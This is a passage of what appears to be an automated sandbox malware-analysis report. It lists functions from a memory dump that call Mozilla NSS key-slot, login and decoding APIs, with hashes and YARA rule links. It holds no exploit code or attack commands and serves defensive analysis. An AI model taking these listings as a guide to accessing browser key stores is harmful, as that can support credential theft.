Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CC53FFF,?,?,?,?,6CC53FFF,00000000,?,?,?,?,?,6CC51A1C,00000000), ref: 6CC5ADD5

Part of subcall function 6CCAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CCA8D2D,?,00000000,?), ref: 6CCAFB85
Part of subcall function 6CCAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CCAFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CD794B0,?,?,?,?,?,?,?,?,6CC53FFF,00000000,?), ref: 6CC5ADEC

Part of subcall function 6CCAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD818D0,?), ref: 6CCAB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC53FFF), ref: 6CC5AE3C

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 689a83c98a484f60e515b1614f28f654d0b5b0462b0615af128753306967579a
Instruction ID: 1e2e65154c6ea6e610e18b9e136a74ea69fd09dbf7523f998769bfd9ee6db243
Opcode Fuzzy Hash: 689a83c98a484f60e515b1614f28f654d0b5b0462b0615af128753306967579a
Instruction Fuzzy Hash: 45112972E002055BF7109B6AAC40BBF77B8DF9524DF444128EC1596B41F770E57982B6

Function 6CC78E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CC92E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC64F1C), ref: 6CC78EA2

Part of subcall function 6CC9F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CC9F854
Part of subcall function 6CC9F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CC9F868
Part of subcall function 6CC9F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CC9F882
Part of subcall function 6CC9F820: free.MOZGLUE(04C483FF,?,?), ref: 6CC9F889
Part of subcall function 6CC9F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CC9F8A4
Part of subcall function 6CC9F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CC9F8AB
Part of subcall function 6CC9F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CC9F8C9
Part of subcall function 6CC9F820: free.MOZGLUE(280F10EC,?,?), ref: 6CC9F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CC92E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC64F1C), ref: 6CC78EC3
TlsGetValue.KERNEL32(?,?,?,6CC92E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC64F1C), ref: 6CC78EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CC92E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC78EF1
PR_Unlock.NSS3 ref: 6CC78F20

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: 5045016ef31d5e212238c3c96388cff85cc8ab859157c6dcea1394b1a13b2695
Instruction ID: 181d67e6998c47a5ee7d24b0879e286c12455d9ab161d842e9b830d1bf5358c1
Opcode Fuzzy Hash: 5045016ef31d5e212238c3c96388cff85cc8ab859157c6dcea1394b1a13b2695
Instruction Fuzzy Hash: 442180749096059FD710AF29D484999BBF4FF48324F01456EEE9897B41E730E854CBE2

Function 6CCA8970 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,6CC561C4,?,6CC55639,00000000), ref: 6CCA8991
TlsGetValue.KERNEL32(?,?,?,?,?,6CC55639,00000000), ref: 6CCA89AD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CC55639,00000000), ref: 6CCA89C6
PR_WaitCondVar.NSS3 ref: 6CCA89F7
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CC55639,00000000), ref: 6CCA8A0C

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 6fcc2a6a7e1220a8fd669b8d9db8f9e31b567e9746a03d0513bcbf80b090c5e9
Instruction ID: 398af73371e905fd87f09b9e65772fa6cff628863b40a2da3d505fcdbab08d26
Opcode Fuzzy Hash: 6fcc2a6a7e1220a8fd669b8d9db8f9e31b567e9746a03d0513bcbf80b090c5e9
Instruction Fuzzy Hash: 15218EB4A04746CFDB00AFB9C4886A9BBF4FF06358F114666DD9897601F730D896CB92

Function 6CCA8800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA8821
TlsGetValue.KERNEL32(?,?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA883D
EnterCriticalSection.KERNEL32(?,?,?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA8856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CCA8887
PR_Unlock.NSS3(?,?,?,?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA8899

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 398cb473c5934e25e9b5d809595b695cca36424fb12887d31759442b59f0a4be
Instruction ID: 0124badc76364ad6b451bc4e851c8fb9cfc5e122a53893617a2112a77091ff4d
Opcode Fuzzy Hash: 398cb473c5934e25e9b5d809595b695cca36424fb12887d31759442b59f0a4be
Instruction Fuzzy Hash: F521AEB4904646CFDB00AFB8C488AAABBF4FF05348F004666DD9497705FB30D496CBA2

Function 6CC728A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CC680DD), ref: 6CC728BA
EnterCriticalSection.KERNEL32(?,?,?,?,6CC680DD), ref: 6CC728D3
PR_Unlock.NSS3(?,?,?,?,?,6CC680DD), ref: 6CC728E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CC680DD), ref: 6CC7290E
free.MOZGLUE(?,?,?,?,?,?,6CC680DD), ref: 6CC7291A

Part of subcall function 6CC69270: DeleteCriticalSection.KERNEL32(?,?,6CC75089,?,6CC73B70,?,?,?,?,?,6CC75089,6CC6F39B,00000000), ref: 6CC6927F
Part of subcall function 6CC69270: free.MOZGLUE(?,?,6CC73B70,?,?,?,?,?,6CC75089,6CC6F39B,00000000), ref: 6CC69286
Part of subcall function 6CC69270: PL_HashTableDestroy.NSS3(?,6CC73B70,?,?,?,?,?,6CC75089,6CC6F39B,00000000), ref: 6CC69292

Part of subcall function 6CC68B50: TlsGetValue.KERNEL32(00000000,?,6CC70948,00000000), ref: 6CC68B6B
Part of subcall function 6CC68B50: EnterCriticalSection.KERNEL32(?,?,?,6CC70948,00000000), ref: 6CC68B80
Part of subcall function 6CC68B50: PL_FinishArenaPool.NSS3(?,?,?,?,6CC70948,00000000), ref: 6CC68B8F
Part of subcall function 6CC68B50: PR_Unlock.NSS3(?,?,?,?,6CC70948,00000000), ref: 6CC68BA1
Part of subcall function 6CC68B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6CC70948,00000000), ref: 6CC68BAC
Part of subcall function 6CC68B50: free.MOZGLUE(?,?,?,?,?,6CC70948,00000000), ref: 6CC68BB8

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 6524b0662635cd34315efb931543f5bee3420d5ec64d47a54301368bc382174c
Instruction ID: 0cf81e07c67167b64a6e7c08f45e489b42e5f997b82c0c1cfd500596f9fca909
Opcode Fuzzy Hash: 6524b0662635cd34315efb931543f5bee3420d5ec64d47a54301368bc382174c
Instruction Fuzzy Hash: 2D2159B5A04A05CBDB10AF79C088569BBF4FF05364F054969DC9497B00FB31E895CBA2

Function 6CC409E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6CC406A2,00000000,?), ref: 6CC409F8
malloc.MOZGLUE(0000001F), ref: 6CC40A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CC40A33

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

PR_Free.NSS3(?), ref: 6CC40A6C
PR_Free.NSS3(?), ref: 6CC40A87

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: 87fee420fbaf4d5c8471dc83773a322be5ddc80ff9f76f62db5e54f6117f8313
Instruction ID: ac80f0c66519b3fa698b3bce0507a55b28e9a082839978a631a3c30ee194bff8
Opcode Fuzzy Hash: 87fee420fbaf4d5c8471dc83773a322be5ddc80ff9f76f62db5e54f6117f8313
Instruction Fuzzy Hash: B41133B2940B809BF7109F26D98075773B8FF61358F40D92AD85682E10FB31F098CB90

Function 6CC68FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CC70710), ref: 6CC68FF1
PR_CallOnce.NSS3(6CDB2158,6CC69150,00000000,?,?,?,6CC69138,?,6CC70710), ref: 6CC69029
calloc.MOZGLUE(00000001,00000000,?,?,6CC70710), ref: 6CC6904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CC70710), ref: 6CC69066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CC70710), ref: 6CC69078

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: f78f300f6d4d52b0387dcd1b5cdf67c52f6880f0ece757dd1488ffd2b37ad688
Instruction ID: 3d7489a76ecc6ce5ceddb2e678f9f2624d2a2df4cd31ad486e86bdfd20dddac8
Opcode Fuzzy Hash: f78f300f6d4d52b0387dcd1b5cdf67c52f6880f0ece757dd1488ffd2b37ad688
Instruction Fuzzy Hash: BE11E5A170011157EB201BABAE84A6A72ACEB8A7ACF540521FD88C6E41F752CD4683A5

Function 6CCE04C0 Relevance: 7.6, APIs: 5, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6CCE461B,-00000004), ref: 6CCE04DF
TlsGetValue.KERNEL32(?,00000000,?,6CCE461B,-00000004), ref: 6CCE0510
EnterCriticalSection.KERNEL32(ED850FDC), ref: 6CCE0520
PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6CCE461B,-00000004), ref: 6CCE0534
GetLastError.KERNEL32(?,6CCE461B,-00000004), ref: 6CCE0543

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Error$CriticalEnterLastObjectSectionSingleValueWait
String ID:
API String ID: 3052423345-0
Opcode ID: a0553de78c2b001c09d72910dcffcca15cdb9fd85dd466c5eb4abd9fd6d7ac65
Instruction ID: e9902bdb204ea1956eaebb17474ab6853c2be0f43c83b93bad7a7301996d214c
Opcode Fuzzy Hash: a0553de78c2b001c09d72910dcffcca15cdb9fd85dd466c5eb4abd9fd6d7ac65
Instruction Fuzzy Hash: E2113A71A061856BEB007B78DC04B6936B8EF4B328F604629E925D39D0FF31D144DBD5

Function 6CCE4AF0 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

PR_MemUnmap.NSS3(00015180,00000005,?,6CCE4AD1), ref: 6CCE4B62
free.MOZGLUE(?,00015180,00000005,?,6CCE4AD1), ref: 6CCE4B76

Part of subcall function 6CCE03C0: CloseHandle.KERNEL32(?,?,?,?,6CCE4B27,?,?,00015180,00000005,?,6CCE4AD1), ref: 6CCE03E0
Part of subcall function 6CCE03C0: GetLastError.KERNEL32(?,6CCE4B27,?,?,00015180,00000005,?,6CCE4AD1), ref: 6CCE03FD

Part of subcall function 6CCE03C0: DeleteCriticalSection.KERNEL32(00000005,?,?,?,6CCE4B27,?,?,00015180,00000005,?,6CCE4AD1), ref: 6CCE0419
Part of subcall function 6CCE03C0: free.MOZGLUE(?,?,6CCE4B27,?,?,00015180,00000005,?,6CCE4AD1), ref: 6CCE0420

CloseHandle.KERNEL32(?,00015180,00000005,?,6CCE4AD1), ref: 6CCE4B96
free.MOZGLUE(?,?,6CCE4AD1), ref: 6CCE4B9D
memset.VCRUNTIME140(6CDB2F9C,00000000,00000090,00015180,00000005,?,6CCE4AD1), ref: 6CCE4BB2

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$CloseHandle$CriticalDeleteErrorLastSectionUnmapmemset
String ID:
API String ID: 447902086-0
Opcode ID: 64f6ea63cd3ba9956ba48a503bdfd19f5d068e0b15278b75668e6a301fc604ed
Instruction ID: 06341dc6dec823abfadac1aa4f959c2da7d5d514e80fc9359b0183ca5ca3332a
Opcode Fuzzy Hash: 64f6ea63cd3ba9956ba48a503bdfd19f5d068e0b15278b75668e6a301fc604ed
Instruction Fuzzy Hash: 5E11B1B2B01D00DBEE20EE95DC49B4A737CAB4B25CF000024F60953A60F732A414E7EA

Function 6CC7CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CC91E10: TlsGetValue.KERNEL32 ref: 6CC91E36
Part of subcall function 6CC91E10: EnterCriticalSection.KERNEL32(?,?,?,6CC6B1EE,2404110F,?,?), ref: 6CC91E4B
Part of subcall function 6CC91E10: PR_Unlock.NSS3 ref: 6CC91E76

free.MOZGLUE(?,6CC7D079,00000000,00000001), ref: 6CC7CDA5
PK11_FreeSymKey.NSS3(?,6CC7D079,00000000,00000001), ref: 6CC7CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CC7D079,00000000,00000001), ref: 6CC7CDCF
DeleteCriticalSection.KERNEL32(?,6CC7D079,00000000,00000001), ref: 6CC7CDE2
free.MOZGLUE(?), ref: 6CC7CDE9

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 602f769674fef009f80cbfee543c2fc8697c2572366078479f33757074b8c03b
Instruction ID: 8e350bd0f8504bb78510834b3084000dff16fa87f99b3bb599d02109c7c00992
Opcode Fuzzy Hash: 602f769674fef009f80cbfee543c2fc8697c2572366078479f33757074b8c03b
Instruction Fuzzy Hash: EA11C6B2B01112ABEB10AFA5ED85A9A777CFF44268B104161EA0987E01F732E464C7E1

Function 6CCE2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CCE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CCE5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCE2CEC

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

PR_EnterMonitor.NSS3(?), ref: 6CCE2D02
PR_EnterMonitor.NSS3(?), ref: 6CCE2D1F
PR_ExitMonitor.NSS3(?), ref: 6CCE2D42
PR_ExitMonitor.NSS3(?), ref: 6CCE2D5B

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: b5da3e064384a538823998786d91f6ad999e4b19efee50d2fd97e39ed529fa30
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 3701C4B1A042015FE6309F26FC41FC7B7A1EF4A318F004565E95D86B20F632F915C7A2

Function 6CCE2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CCE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CCE5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCE2D9C

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

PR_EnterMonitor.NSS3(?), ref: 6CCE2DB2
PR_EnterMonitor.NSS3(?), ref: 6CCE2DCF
PR_ExitMonitor.NSS3(?), ref: 6CCE2DF2
PR_ExitMonitor.NSS3(?), ref: 6CCE2E0B

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
